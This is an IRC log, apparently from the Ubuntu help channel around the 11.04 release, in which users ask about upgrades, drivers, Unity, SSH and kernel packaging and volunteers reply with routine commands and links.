[14:12] <wli> sipior: Something about deb/apt kernel packaging has changed in the interim.
[14:13] <shaneo_> just click it wolf duh
[14:13] <Belinrahs> wolf__: open a terminal and type sudo apt-get install cheese
[14:13] <Belinrahs> wolf__: it will install the program in your applications menu
[14:13] <Glacia> Wow i think my graphics card went on the fritz
[14:13] <trijntje> Dania, yeah, I would expect something to get damaged if you cut power during upgrade.
[14:13] <usr13> Glacia: What happened?
[14:13] <trijntje> sweb, what is simple compiz wizard?
[14:13] <Incarus6> shaneo_, do you plan to downgrade to gnome 2.32 from gnome 3 again?
[14:13] <psypher246> hi all, has anyone experienced this issue in natty, I can't hold ctrl down and left click and selectively select files in nautilus, shft works but not ctrl
[14:13] <gshipley> Hey guys - 11.04 in nautilus browsing to windows file share I get speeds of 25 megs a sec.  When I mount that same share with cifs or smbfs I only get 4 megs a sec.  Any ideas why nautilus is much faster (fuse ?) that my mount?
[14:13] <JohnFlux> Riddell: are the GB servers down?
[14:14] <wolf__> i'll try
[14:14] <Glacia> usr13, screen froze and then started to flash .... could see and type but not click on anything
[14:14] <Dania> trijntje,  ya how should i diagnose it?
[14:14] <Glacia> Dr_willis, i tried to connect to my computer in my ssh client on my phone but its not connecting to anything
[14:14] <usr13> Glacia: what video card?
[14:14] <trijntje> Dania, it might be easies to reinstall, do you have a backup of all your data?
[14:14] <Skei> JohnFlux, I failed to get the UK server to do anything. I selected "best server" for an upgrade, and it worked fine when it gave me another one.
[14:14] <osse> I just booted up with a USB stick with the 64-bit Natty images. Have they moved the "try or install directly" choice to the GRUB menu or is there something wrong with my imagethingy??
[14:14] <Janusman> Can I update a WUBI 10.10 into 11.04?
[14:14] <Glacia> usr13, stock on an old xp tablet
[14:14] <JohnFlux> Skei: I'm currently trying just "do-release-upgrade"  and that seems to work
[14:15] <Soothsayer> how do I get the "Places" menubar option?
[14:15] <trijntje> Dania, I dont know how to diagnose it, maybe someone else can help you with that
[14:15] <Dania> trijntje no but can log to hard drive via console
[14:15] <sweb> trijntje, th UI application that you can set the effect of desktop.
[14:15] <JohnFlux> pfarrell_: read Skei's reply?
[14:15] <usr13> Glacia: Can you ping it?
[14:15] <sipior> wli: if you want a 64-bit kernel, just install a 64-bit distro, and save yourself an enormous amount of trouble. or don't, your business, of course.
[14:15] <Belinrahs> Janusman: in ubuntu you should be able to upgrade normally
[14:15] <wli> siopr: The hope was to get the source/patches/etc. for the Ubuntu kernel and drop my own things in the patch queue.
[14:15] <sweb> how can i resize and configure Unity panel in Natty ?
[14:15] <sipior> wli: i see.
[14:15] <trijntje> sweb, compiz config settings manager, I should install fine in natty
[14:15] <Incarus6> shaneo_, pls confirm
[14:16] <Belinrahs> !upgrade | Janusman
[14:16] <ubottu> Janusman: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[14:16] <sssstavr> Soothsayer: have you tried system -> administration -> login in screen ?
[14:16] <Janusman> Belinrahs, thanks =)
[14:16] <Belinrahs> Janusman: anytime
[14:16] <jAguAr`> i need help w/ upgrading ubundu from 10.10 to ll.04 please
[14:16] <wli> sipior: It's what I did with all the other distro kernels (including Debian several years ago).
[14:16] <Glacia> usr13, no my ssh client on my phone just shows connecting..... and nothing
[14:16] <Janusman> Belinrahs, didn't see anything mentioning WUBI there though.. but I guess it'll work (backing up first) =)
[14:16] <nishanth> i need help in fixing my compiz setting back....i lost my toolbar and the side dock
[14:16] <afeder> having just tried ubuntu for the first time in a year - what a fabulous release. thanks devs.
[14:16] <sipior> wli: then go do that.
[14:17] <Belinrahs> Janusman: Should be a completely normal upgrade, I'm using Wubi and I upgraded normal
[14:17] <RichardJ> If I install a proprietary driver for my graphics card (ATI/AMD FGLRX) and that results in not being able to boot, what could I then do about it?
[14:17] <Soothsayer> I just removed the minimize and maximize button from the titlebar and only kept the close. Double clicking titlebar minimizes the window instead... looks cleaner :)
[14:17] <RichardJ> is there a simple way to remove a restricted driver via the rootsheel?
[14:17] <RichardJ> rootshell*
[14:17] <trijntje> jAguAr`, what kind of help?
[14:17] <olefowdie> Hello all, has anyone got a bootable USB stick working with Macs?
[14:17] <Omega> soreau: did starting gnome-panel manually work?
[14:17] <usr13> Glacia: Ctrl-Alt-F6
[14:18] <Janusman> Belinrahs, awesome. Thanks
[14:18] <lucydarrow> jrib: done with that update, but still doesn't work.
[14:18] <Nunya> Incarus6 I seem to be stuck on this now: http://i51.tinypic.com/rkym9x.png
[14:18] <wrinkliez> i accidentally removed my home folder button from the unity sidebar, how do i put it back? :S
[14:18] <lucydarrow> jrib: I tried sudo apt-get install vlc
[14:18] <JohnFlux> Skei: where is that option to select the fastest server?
[14:18] <jrib> lucydarrow: pastebin output
[14:18] <Incarus6> Nunya, this stupid cups. type "sudo stop cups && sudo start cups"
[14:18] <Nunya> k
[14:18] <wolf__> how i send an invitation to some one to start my cam ?
[14:18] <jAguAr`> trijntje, i just upgraded from 10.04 to 10.10, and tried upgrading to 11.04 and it came back with the error 'Marking the upgrade (E:Error, pkgProblemResolver:: Resolve generated breakes, this may be caused by held packages.)'
[14:19] <Belinrahs> Nunya: off topic, but I really like how you have your interface set up :)
[14:19] <Skei> JohnFlux, in Settings, I think it's the Sources tab, perhaps.
[14:19] <jAguAr`> trijntje, i need to know how to fix this issue
[14:19] <Skei> JohnFlux, there's an option to select "Best Server" which tests all of them and returns the best choice.
[14:19] <Soothsayer> What are good add-ons that help with a dual monitor setup?
[14:19] <karlo> how I can fix the problem with fullscreen videos on youtube (I have 2 monitors) ?
[14:19] <Incarus6> jAguAr, you used foreign repos, pls paste /var/log/dist-upgrade/apt.log
[14:19] <nishanth> can someone tell me how i can get my dock and toolbar back?
[14:19] <trijntje> jAguAr`, what does it say when you run sudo apt-get update && sudo apt-get upgrade in a terminal?
[14:20] <Nunya> Incarus6 I salute you, it worked!!!  \o/ mmmm
[14:20] <usr13> karlo: Upgrade to the latest flashplugn
[14:20] <muneeb> hi, i have installed ati drivers but i'm not getting Unity... even if i select it in Login i'm getting old style
[14:20] <wolf__> how i send an invitation to some one to start my cam ?
[14:20] <heedlu> were is the alt+f2 key binding defined?
[14:20] <Nunya> said force reload failed but kept going
[14:20] <Incarus6> Nunya, reuse that command if it cups stucks the next time ;)
[14:20] <lucydarrow> jrib: here it is: http://pastebin.com/raw.php?i=WYTeHWxP
[14:20] <wli> sipior: You missed the part (perhaps deliberately) where either Ubuntu, newer deb/apt kernel packaging, or something makes apt-get source linux-image have very unintuitive results.
[14:20] <Nunya> ok will do, thanks!
[14:21] <olefowdie> like all of the ways Ubuntu/Canonical says work... do not work, nor do things that I would imagine should work.
[14:21] <GlaciasEvo> usr13, ummm whay did you do to my pc
[14:21] <GlaciasEvo> whay
[14:21] <olefowdie> I can boot from external CDROM, but trying to boot from a USB stick never works, at least not if I want persistence.
[14:21] <cousin_mario> this release is quite buggy
[14:21] <jAguAr`> Incarus6, that is a huge file...
[14:21] <GlaciasEvo> what.....
[14:21] <jrib> lucydarrow: try a different mirror?
[14:21] <Soothsayer> Like I want a taskbar in my second monitor
[14:21] <Soothsayer> its too much to scroll all the way to the left
[14:21] <usr13> karlo: http://trryhend.startlogic.com/
[14:22] <usr13> to manually install ^^^
[14:22] <lars-eirik> I'd like to load the classic  Gnome-menus, bey there is NO options at the login-screen. Is there any other way to to this ?
[14:22] <Dr_Willis> olefowdie:  you can do a full normal install to a flash drive - if its big enough
[14:22] <Incarus6> jAguAr`, I know, I don't need the whole file, better paste "cat /var/log/dist-upgrade/apt.log | grep Broken"
[14:22] <lucydarrow> jrib: Okay, changing to US mirror.
[14:22] <karlo> usr13, tnx
[14:22] <Soothsayer> What are good tools to use along with  a dual monitor setup?
[14:22] <Dr_Willis> lars-eirik:  when you enter your user name. No menus at the bottom of the gdm screen?
[14:22] <Soothsayer> Like I need a taskbar in the second monitor
[14:22] <GlaciasEvo> usr13, how do I get out of what you put me in
[14:22] <muneeb> HELP!!  i have installed ati drivers but i'm not getting Unity... even if i select it in Login i'm getting old style
[14:22] <Soothsayer> It's too annoying to travel all the way to the left to unity taskbar
[14:22] <usr13> GlaciasEvo: Do you have login option now?
[14:22] <myrkraverk> Hello people.
[14:23] <GlaciasEvo> yes
[14:23] <Dr_Willis> Soothsayer:  normal classic gnome lets me do that. but ive not tried Unity on my dual monitor setup. You coul dinstall a dock like docky or awn, or others
[14:23] <usr13> GlaciasEvo: login and restart gdm
[14:23] <Soothsayer> Dr_Willis: will that restrict it to that monitor only?
[14:23] <tdn> After installing Ubuntu 11.04 and enabling the restricted Broadcom STA wifi driver, the wifi network stops working after a while. How do I fix this?
[14:23] <sipior> wli: i ignored it because i assume you're clever enough to figure it out. you haven't really stated what the problem with deb packaging was, so it is difficult to offer useful recommendations.
[14:23] <myrkraverk> I had trouble booting up the amd64 10.10 live CD.  Is there a chance it's been updated since I downloaded it some months ago?
[14:23] <GlaciasEvo> restart gdm?
[14:23] <Dr_Willis> Soothsayer:  most docks have that setting.
[14:23] <usr13> GlaciasEvo: Yes
[14:23] <lars-eirik> Dr_Willis Only bottom menus, but no choises for loading the classic menu
[14:23] <thelonecabbage> trying to use usb-create-gtk to create a bootable image on an external eSATA drive, and it's not detecting the drive
[14:23] <Soothsayer> Dr_Willis: then im assuming I've to get rid of Unity dock on the left?
[14:23] <thelonecabbage> anyone know how to get it to notice it?
[14:23] <usr13> GlaciasEvo: /etc/init.d/gdm restart
[14:24] <GlaciasEvo> sorry I'm rusty as heck with ubuntu.... been over a year sorry
[14:24] <usr13> GlaciasEvo: sudo /etc/init.d/gdm restart
[14:24] <Dr_Willis> Soothsayer:  since it auto hidea. i dont see much reason to get rid of it.
[14:24] <antonio_> hello! can anyone help me with my resolution on ubuntu 11.04? :)
[14:24] <Incarus6> myrkaverk, are you using "new" hardware?
[14:24] <Janusman> mirrors?
[14:24] <sipior> wli: in other words: unintuitive in what way?
[14:24] <Soothsayer> Dr_Willis: which dock would you recommend? I need something like the one on Windows 7
[14:24] <jml__> xxx
[14:24] <Dr_Willis> Soothsayer:  try them all out.
[14:24] <jml__> hello
[14:24] <muneeb> HELP!!  i have installed ati drivers but i'm not getting Unity... even if i select it in Login i'm getting old style
[14:24] <jml__> 我是中国的
[14:24] <Soothsayer> Dr_Willis: name them again please?
[14:25] <Incarus6> !cn | jml__
[14:25] <ubottu> jml__: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[14:25] <myrkraverk> Incarus6: It's a 4 or 5 year old laptop.
[14:25] <mongy> !buttons > mongy
[14:25] <ubottu> mongy, please see my private message
[14:25] <wli> sipior: There used to be a debian/ dir in there with a set of patches to apply; now there's no patch set to put my code in.
[14:25] <GlaciasEvo> usr13,  ok now how do I get connected with my ssh
[14:25] <franciel> !buttons > mongy
[14:25] <ubottu> mongy, please see my private message
[14:25] <usr13> GlaciasEvo: What?
[14:26] <Incarus6> myrkraverk, you could try a live cd, but there is no gwarranty that it will work
[14:26] <usr13> GlaciasEvo: Try Ctrl-Alt-F7   and see if it's back to normal.
[14:26] <t-rex> i have ati5650 and after installing the driver i cant run unity
[14:26] <antonio_> help! i have a sis671/771 graphic card and i like to configure it on my ubuntu 11.04
[14:26] <GlaciasEvo> usr13 the whole reason I'm here was to try and connect my phone to my pc via ssh
[14:26] <Nunya> 1 minute left  :O
[14:26] <Nunya> lol
[14:26] <Incarus6> !paste > jAguAr`
[14:26] <ubottu> jAguAr`, please see my private message
[14:26] <fillayu> is unity better than gnome
[14:27] <GlaciasEvo> !quit
[14:27] <usr13> GlaciasEvo: I though you had the flashing screen.  Sorry.  You need to install openssh-server
[14:27] <tdn> After installing Ubuntu 11.04 and enabling the restricted Broadcom STA wifi driver, the wifi network stops working after a while. How do I fix this?
[14:27] <BlouBlou> fillayu: unity works with gnome
[14:27] <muneeb> how to re-enable  Unity ???
[14:27] <Puchaty> hi
[14:27] <usr13> GlaciasEvo: sudo apt-get install openssh-server
[14:27] <Puchaty> anyone tried powerXpress with new ati drivers?
[14:27] <fillayu> BlouBlou   how to keep the unity panel always in the front
[14:27] <Glacia> the openssh on my pc or phone because i already have an ssh client on my phone
[14:27] <BlouBlou> fillayu: I don't use it
[14:28] <BlouBlou> muneeb: go to gdm and choose 'ubuntu session'
[14:28] <fillayu> BlouBlou  u use what?
[14:28] <usr13> Glacia: On the pc
[14:28] <Janusman> so if I already have the alternate ISO image, how long should I expect for an upgrade to take?
[14:28] <BlouBlou> I use classic-session, not unity
[14:28] <Puchaty> no ati hybrid gpu users?:)
[14:28] <julian__> hellow
[14:28] <Glacia> usr13, i thought ubuntu came with it already installed
[14:28] <sipior> wli: simply adding the directory doesn't work?
[14:28] <muneeb> BlouBlou,  but how to go to gdm.. i tried from login screen
[14:28] <Dr_Willis> Glacia:  you need a ssh server on whatever you are connecting TO...  ubuntu comes with a ssh CLIENT..
[14:28] <timekiller> hi guys, just dropped in to ask if anyone else has a problem with 11.04 and dual monitors (no wallpaper, white background) - and if there is a known fix ?
[14:28] <julian__> guys i have a little trouble :S
[14:29]  * wli needs to get back on the net to have better methods of investigation than IRC.
[14:29] <Glacia> oh i see
[14:29] <BlouBlou> muneeb: that's exactly GDM
[14:29] <Janusman> julian__, just ask =)
[14:29] <Glacia> Ok so how do i get that on my pc
[14:29] <Puchaty> i have a little trouble too
[14:29] <Puchaty> :>
[14:29] <julian__> how do i activate the windows efects on unity?
[14:29] <usr13> GlaciasEvo: sudo apt-get install openssh-server
[14:29] <sipior> wli: i take it that's a no? :-)
[14:29] <usr13> Glacia: sudo apt-get install openssh-server
[14:29] <muneeb> BlouBlou,  but i'm not getting Unity even though i selected i get old style Ubuntu
[14:29] <Janusman> julian__, I think you should get the compiz manager
[14:29] <Nunya> Incarus6 I have to close to finish up now, hopefully I wont need to come back... thank you again!!
[14:30] <usr13> Glacia: Or go to synaptic and install it.
[14:30] <lars-eirik> Dr_Willis: Never mind. I got it working by changing the default login theme in the control panel.
[14:30] <Dr_Willis> !ssh | Glacia
[14:30] <ubottu> Glacia: SSH is the Secure SHell protocol, see: https://help.ubuntu.com/community/SSH for client usage. PuTTY is an SSH client for Windows; see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage. See also !scp (Secure CoPy) and !sshd (Secure SHell Daemon)
[14:30] <julian__> how get it?
[14:30] <BlouBlou> muneeb: change classic-session and select Ubuntu-session
[14:30] <Incarus6> Nunya, you are welcome
[14:30] <julian__> how can i get it*?
[14:30] <inflex> just upgraded to 11.04 from 10.10 - keyboard doesn't come up anymore, if you remove the keyboard and plug it back in, it works again (USB).
[14:30] <myrkraverk> Incarus6: Is there a chance an installation will work better than a live cd somehow?
[14:30] <spicy> Hello I have a question. I have an Intel machine and I wish to download the new 64bit version of Ubuntu, but when I try to download the 64bit it downloads the AMD version (I have an intel processor not an AMD processor). Where is the Intel 64bit version of Ubuntu?
[14:30] <Belinrahs> anyone with wifi experience could you look at my post, http://ubuntuforums.org/showthread.php?t=1742650 -- I would be very grateful - thanks!
[14:30] <Dr_Willis> inflex:  i just had that happen to my usb mouse on the live cd.
[14:30] <myrkraverk> spicy: It's the same thing.
[14:30] <Incarus6> myrkraverk, you could try a live cd, but there is no warranty that it will work
[14:30] <Al-Bawi> hi there , i have a problem upgrading from 10.10 to 11.04 , it says The upgrade has aborted. Please check your Internet connection or installation media and try again. All files downloaded so far are kept.
[14:30] <myrkraverk> spicy: I'm using amd64 solaris on an intel machine.
[14:30] <inflex> Dr_Willis: yes, the mouse did stop once, but it's come back reliably since the last 3 boots
[14:31] <myrkraverk> Incarus6: ok.
[14:31] <julian__> berinrahs AMD its called 64 bits procesors
[14:31] <Dr_Willis> Al-Bawi:  servers are hitting heavy load. and are not stable.
[14:31] <wli> sipior: Typically there was a script in there that applied the patches starting from virgin kernel source (or some approximation there of).
[14:31] <muneeb> BlouBlou, after upgradation it gave error  like it doesnt support 3d... but after then installed drivers but still  no luck
[14:31] <myrkraverk> spicy: plus, it's politically correct to call the platform amd64 since they invented the platform.
[14:31] <Incarus6> myrkraverk, I allways prefer new software over old, otherwise I would use Debian
[14:31] <Janusman> julian__, look at "Install Compiz Config Settings Manager" under http://www.techdrivein.com/2011/04/12-things-i-did-after-installing-new.html
[14:31] <inflex> Dr_Willis: haven't found any google hits on 11.04 usb keyboard failure yet :(
[14:31] <muneeb> BlouBlou, i did that alrady but nothing happened
[14:31] <myrkraverk> Incarus6: Haha, ok.
[14:31] <Al-Bawi> Dr_Willis , you mean that i should try any time later?
[14:32] <BlouBlou> muneeb: You need to have 3D rendering
[14:32] <Glacia> usr13, ok i need the sudo apt-get now what
[14:32] <spicy> So it doesn't matter if I run an AMD 64bit on an Intel machine? Okay then, I'll download AMD 64 bit
[14:32] <Glacia> ok i did*
[14:32] <cfc_{Pawpad}> hi every one
[14:32]  * izinucs is thinking there's something going on with the ubuntu one servers..tomboy isn't syncing
[14:32] <cfc_{Pawpad}> what is the package called for quicktime ?
[14:32] <Glacia> nvm i got to go
[14:32] <roeland> hey fellas, i got an ubuntu box (through Linode) and it keeps randomly getting stuck at 100% cpu usage (400% actually?). i am unable to pull up the site , or access the console (via putty) the only way to fix it is to log into the linode web manager and reboot it.
[14:32] <izinucs> cfc_{Pawpad}: to play it in a browser?
[14:33] <roeland> what are some things i could do to diagnose this
[14:33] <cfc_{Pawpad}> actully i use SL
[14:33] <spicy> myrkraverk thanks for clearing things up
[14:33] <Incarus6> roeland, 400%? Do you use a quad core computer?
[14:33] <usr13> Belial`: What freezes?  Network Manager?
[14:34] <sinistrad> roeland you can try the 'top' command to see which process is consuming your resources
[14:34] <roeland> i believe so yes incarus6
[14:34] <Guest73628> does anyone no how to turn laptop keyboard backlight of?
[14:34] <Janusman> anyone using dual monitors have any issues with 11.04? asking before I upgrade.
[14:34] <roeland> problem is.. i cant get in via console
[14:34] <roeland> so i cannot run top
[14:34] <muneeb> BlouBlou, how do i get Unity 2D? i installed it but i dont see it in GDM
[14:34] <usr13> Belinrahs:   What freezes?  Network Manager?
[14:34] <usr13> Glacia: It should work now if you installed it.
[14:34] <[snake]> How can I get my keyboard to type ina different language in libre office?
[14:34] <mtlife> hey i used openbox for lxde for a while, now when i log in to gnome (11.04) there are no window borders! How can I fix this?
[14:34] <Soothsayer> why can't I execute a file? ./crclient -u gives --> bash: ./crclient: No such file or directory
[14:35] <sinistrad> roeland, I see your dilemma
[14:35] <BlouBlou> muneeb: I don't know
[14:35] <roeland> so. the problem occurs.. i get notification from linode
[14:35] <roeland> website is down. console is down
[14:35] <roeland> i reboot from web ui
[14:35] <m|kael> i have some problems making chromium my default browser in 11.04 can anyone help?
[14:35] <lgp171188> Hi all, I am using Ubuntu Natty with Nvidia proprietary drivers. I had an issue with the plymouth splash screen getting displayed in low resolution which I fixed by setting the correct resolution through GRUB_GFXMODE parameter. But I am getting a purple screen instead of a splash screen for a long time and the ubuntu splash comes up for a second before GDM starts. How to make the splash display instead of the plain purple screen?
[14:35] <Incarus6> roeland, sure all 4 kernels are at 100%? Usually when a process hangs my computer just one core is affected (100%) -> 25% of all cores and the system is still usable. Do you use the 64bit version?
[14:35] <roeland> but i cant troubleshoot the cause
[14:35] <usr13> Soothsayer: See that the executable bit is set for it.
[14:35] <t-rex> [snake] u should change it from the keybord settings from prefrences
[14:35] <roeland> its on a vps at linode , i dont know the specs
[14:36] <Soothsayer> usr13: -rwxr-xr-x 1 dayson dayson 29580 2003-05-01 21:38 crclient
[14:36] <Soothsayer> usr13: isn't it?
[14:36] <sipior> wli: hmm, i see the problem. i don't suppose pulling the kernel source via git is an option? has to be a package?
[14:36] <usr13> Soothsayer:  try sh        sh crclient
[14:36] <Pici> roeland: You may want to ask at #linode at oftc as well, they might have a more linode specific solution to getting to a console.
[14:36] <wrinkliez> does chrome / chromium have support for overlay scrollbars?
[14:36] <roeland> yah i am askign there. doesnt look like anyone knows how to go back and diagnose it
[14:37] <Soothsayer> usr13: crclient: 1: Syntax error: "(" unexpected
[14:37] <Leapo> Am I going nuts, or did Ubuntu 11.04 seriously zap my laptop's battery?
[14:37] <izinucs> cfc_{Pawpad}: not sure what SL is.. quicktime is part of the restricted package (ubuntu-restricted-extras) .. there's also http://packages.ubuntu.com/natty/utils/quicktime-x11utils
[14:37] <usr13> Soothsayer: file crclient      #See what it really is.
[14:37] <cousin_mario> hi, again
[14:37] <roeland> is there any way to log cpu usages and memory usage?
[14:37] <roeland> at least temporarily?
[14:37] <yellabs-r2> lgp171188 , i cant give an solution, but i had the same kind of issue, i just turned of the splash so that the cool text shows and nothing more.. untill it boots into the desktop.. :)
[14:37] <Pici> roeland: Oh, I see you're there already, nevermind.
[14:37] <Soothsayer> usr13: crclient: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped
[14:37] <jw_> I upgraded, after the reboot it says the disk drive for /home is not ready yet... has someone seen this yet? Quick fix?
[14:37] <cousin_mario> I'm having problem with the nvidia binary drivers: http://pastebin.com/6204GA6J
[14:37] <sipior> wli: actually, looking at the docs, it seems to be possible to simply add a debian/patches directory to the ubuntu kernel source packages (which already have the ubuntu-patched source). might be worth a try.
[14:37] <jhw> roeland: syssat
[14:37] <matt[vic[> Hello, after installing 11.04, my broadcom wireless stopped working. lspci -> broadcom BCM43225, STA drivers installed, in /etc/modprobe.d/blacklist.conf if I add "blacklist acer-wmi", I can see the wireless services around me, but I cannot connect to them.  Please help!
[14:37] <jhw> roeland: sysstat
[14:38] <mtlife> hey i used openbox for lxde for a while, now when i log in to gnome (11.04) there are no window borders! How can I fix this?
[14:38] <Leapo> I can't get more than 45 minutes out of 11.04 no matter what I try. 10.x had no trouble getting over 2 hours out of the same battery, and Windows easily goes over 3 hours :-/
[14:38] <[TK]D-Fender> Hi, I installed 11.04 on an XP2500+ with a crappier video card.  When I did it firs ttold me I was too low end for Unity and got kicked back to Gnome 2.32 classic.  I have jsut replaced the video card with an ATI Radeon 9200 SE which I'd like to think would ahve been enough for the basics... but when restarting I don't seem to be getting the new interface.  Any tips?
[14:38] <roeland> ok jhw, i will look at that
[14:38] <usr13> Soothsayer: where did you get it?   (It appears to have an error.)
[14:39] <[snake]> םל ןא 'םרלד
[14:39] <cousin_mario> [TK]D-Fender: did you select ubuntu instead of ubuntu-classic at the login?
[14:39] <rczx> :)
[14:39] <jw_> I upgraded, after the reboot it says the disk drive for /home is not ready yet... has someone seen this yet? Quick fix?
[14:39] <saimanoj> any good browser for ubuntu otherthan firefox and chrome?
[14:39] <Soothsayer> usr13: let me download and try again
[14:39] <lucydarrow> jrib: Thanks, US repo worked, still wondering why main sever caused me a problem. :)
[14:39] <cousin_mario> saimanoj: opera?
[14:39] <matt[vic[> opera is not bad
[14:39] <matt[vic[> Hello, after installing 11.04, my broadcom wireless stopped working. lspci -> broadcom BCM43225, STA drivers installed, in /etc/modprobe.d/blacklist.conf if I add "blacklist acer-wmi", I can see the wireless services around me, but I cannot connect to them.  Please help!
[14:39] <sipior> wli: in other words, they took out the patch script because the source is already patched.
[14:39] <ortsvorsteher> seamonkay is also okay saimanoj
[14:39] <wli> sipior: I'm off the net right now and will be for a while, otherwise no. I probably need to get off my phone to do some things, too.
[14:39] <saimanoj> opera is there for ubuntu
[14:39] <izinucs> [TK]D-Fender: on the login screen click your user name and then look at the bar at the bottom of the screen that appears.. you can switch to the unity interface there.. if that doesn't work you might have to reconfigure your video by using the menu on the rescue kernel on boot.
[14:39] <[TK]D-Fender> cousin_mario: Yup... no proprietary drivers offered in that box either BTW
[14:39] <saimanoj> i dont know yet
[14:39] <sipior> wli: best of luck with it.
[14:39] <[TK]D-Fender> (the admin box that is)
[14:39] <Kartagis> when I edit /etc/ssh/sshd_config to read ChrootDirectory %h and restart ssh, users can't log in. why?
[14:40] <studentz> I upgrade from Maverick to natty But the windows manager is not metacity :(  How I can change the windows decorator??
[14:40] <mtlife> hey i used openbox for lxde for a while, now when i log in to gnome (11.04) there are no window borders! How can I fix this?
[14:40] <Incarus6> Leapo, http://www.phoronix.com/scan.php?page=article&item=linux_kernel_regress2&num=4
[14:40] <spyzer> hey all i just installed ubuntu 11.04. In my xorg.conf I do not see any section for open source radeon driver. The only thing i see is glx. Please gimme a hand
[14:40] <matt[vic[> mtlife, try "metacity --replace" in a terminal
[14:40] <dennda> Did anybody manage to get natty installed on a macbook pro 13"? When upgrading it left me with a kernel panic. Would like to know if clean reinstallation would work
[14:40] <roeland> will sysstat use up alot of resources
[14:40] <Guest34634> i'd like to know if anybody out there is having issues with their system after upgrading from 10.10 to 11.04?
[14:40] <Leapo> Incarus6: Ah...so it's time to format.
[14:41] <m|kael> how do i change the background to the login in natty?
[14:41] <jw_> Guest, Yes!
[14:41] <jw_> I upgraded, after the reboot it says the disk drive for /home is not ready yet... has someone seen this yet? Quick fix?
[14:41] <nmvictor> wow, seems like Natty is loaded with enough bugs, from no working wireless drives to windows with no borders, God knows if a broadband modem will work. Sorry guys, hope someone helps with your probs, sometimes its safe to hold that breadth for a while and give the new distro a try after two weeks or so
[14:41] <spyzer> hey all i just installed ubuntu 11.04. In my xorg.conf I do not see any section for open source radeon driver. The only thing i see is glx. Please gimme a hand
[14:41] <mtlife> matt[vic[: well that worked, but when i quit metacity (keeps running in terminal doesnt close) the borders are gone again?
[14:41] <Leapo> No sense using the new version if it's going to drain my battery that fast
[14:41] <AceKing> Can someone tell me how to install the Kubuntu desktop on Ubuntu without having to do a reinstall? I know it can be done, I just don't know how
[14:41] <dennda> jw_: i have seen this and am not aware of a fix (havn't looked either tho)
[14:41] <wli> sipior: That'll make it a headache to do certain things vs. the old list of patches. More detail will have to wait for net access, I guess.
[14:41] <cousin_mario> nvidia-current has a broken dependency I don't know where to find: any hints?
[14:41] <matt[vic[> mtlife, do you use compiz?
[14:41] <izinucs> AceKing: sudo apt-get install kubuntu-desktop
[14:42] <nerdy_kid> Guest34634: I used the CD to upgrade, and it wiped my server and all my apps.  Booting the CD and selecting upgrade is NOT equivalent to distupgrade apparently...
[14:42] <mtlife> matt[vic[: i think yes, because i upgraded to 11.04 and installed the nvidia drivers
[14:42] <AceKing> izinucs, thank you!
[14:42] <jw_> thank you Dennda!
[14:42] <lgp171188> yellabs-r2: I was doing the same till the previous release. Now that I realized I could have a proper high resolution splash screen I want to get it working, but I get to see it only for a brief second after seeing the empty purple screen for a boringly long time :)
[14:42] <matt[vic[> try typing ccsm in a terminal
[14:42] <Incarus6> Leopo, it could be also Unity, did you try gnome instead? Im not sure if unity consumpts more power, because of the effects
[14:42] <dennda> jw_: if you do find a fix, let me know ;)
[14:42] <saimanoj> opera is not in ubuntu repository.
[14:42] <izinucs> AceKing: remember you'll be able to switch interfaces on the login screen
[14:42] <spyzer> please anybody
[14:42] <Leapo> Inarus6: Yes, first thing I did was ditch Unity, it's terrible
[14:42] <nmvictor> I want to dist upgrade from the command line, any I dea what I can do?
[14:43] <cfc_{Pawpad}> sl is known as second life
[14:43] <matt[vic[> mtlife, any luck with "ccsm" in a terminal?
[14:43] <t-rex> ATI 5650 card , after installation if the driver still cant function the catalyst utility
[14:43] <AceKing> izinucs, Great, I appreciate it. I was trying to get used to this new desktop, but it is terrible
[14:43] <coz_> nmvictor,   sudo apt-get update && sudo apt-get dist-upgrade
[14:43] <jw_> I did see something about editing fstab but can't tell if that's the be all end all fix for this issue
[14:43] <coz_> nmvictor,  rather  do you want to change ubuntu versions ?
[14:43] <coz_> nmvictor,   then that command is not it,, I forget the proper command for and actual version upgrade
[14:44] <izinucs> AceKing: yes.. and no.. depends on your work style.. I'm gonna miss the configurable bars
[14:44] <Leapo> Only other time I've seen the battery drain this quickly was when Fedora had some horrible glitch that loaded the video card fully non-stop
[14:44] <Leapo> lol
[14:44] <matt[vic[> Hello, after installing 11.04, my broadcom wireless stopped working. lspci -> broadcom BCM43225, STA drivers installed, in /etc/modprobe.d/blacklist.conf if I add "blacklist acer-wmi", I can see the wireless services around me, but I cannot connect to them.  Please help!
[14:44] <crcid> Hola
[14:44] <nmvictor> coz_, yea, apt-get dist-upgrade doesn't work.
[14:44] <spyzer> may anybody please help me out
[14:44] <Soothsayer> usr13: hmm.. same thing again
[14:45] <coz_> nmvictor,  not for version upgrade
[14:45] <feisar> pants... updating from 10.10 to 11.04 using the alternate cd has broken my system
[14:45] <coz_> !upgrade
[14:45] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[14:45] <spyzer> i need help with xorg
[14:45] <mtlife> matt[vic[: cssm command not found, install it?
[14:45] <Soothsayer> usr13: downloaded from a different source too
[14:45] <Soothsayer> do you think it has something to do with me being on 64-bit ?
[14:45] <mtlife> matt[vic[: i meant ccsm
[14:45] <crcid> si actualizo a la nueva version , se pierden los datos de 10.10
[14:45] <coz_> !upgrade | nmvictor
[14:45] <ubottu> nmvictor: please see above
[14:45] <AceKing> izinucs, I hate the fact that you don't have an indicator to which programs are running. You have to search on the sidebar which is temperamental
[14:45] <usr13> Soothsayer: May be useful info here:   http://kb.cyberoam.com/default.asp?id=372&Lang=1&SID
[14:45] <spyzer> it doesn;t have a device section with radeon mentioend in it
[14:45] <spyzer> ???
[14:45] <leagris> hello, I get wrong keyboard layout for French azerty <alt> characters. Can you help fix this?
[14:45] <matt[vic[> mtlife, yes, the command is "sudo apt-get install compizconfig-settings-manager"
[14:45] <coz_> !upgrde | nmvictor
[14:45] <coz_> mmm
[14:45] <leagris> !fr
[14:45] <ubottu> Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
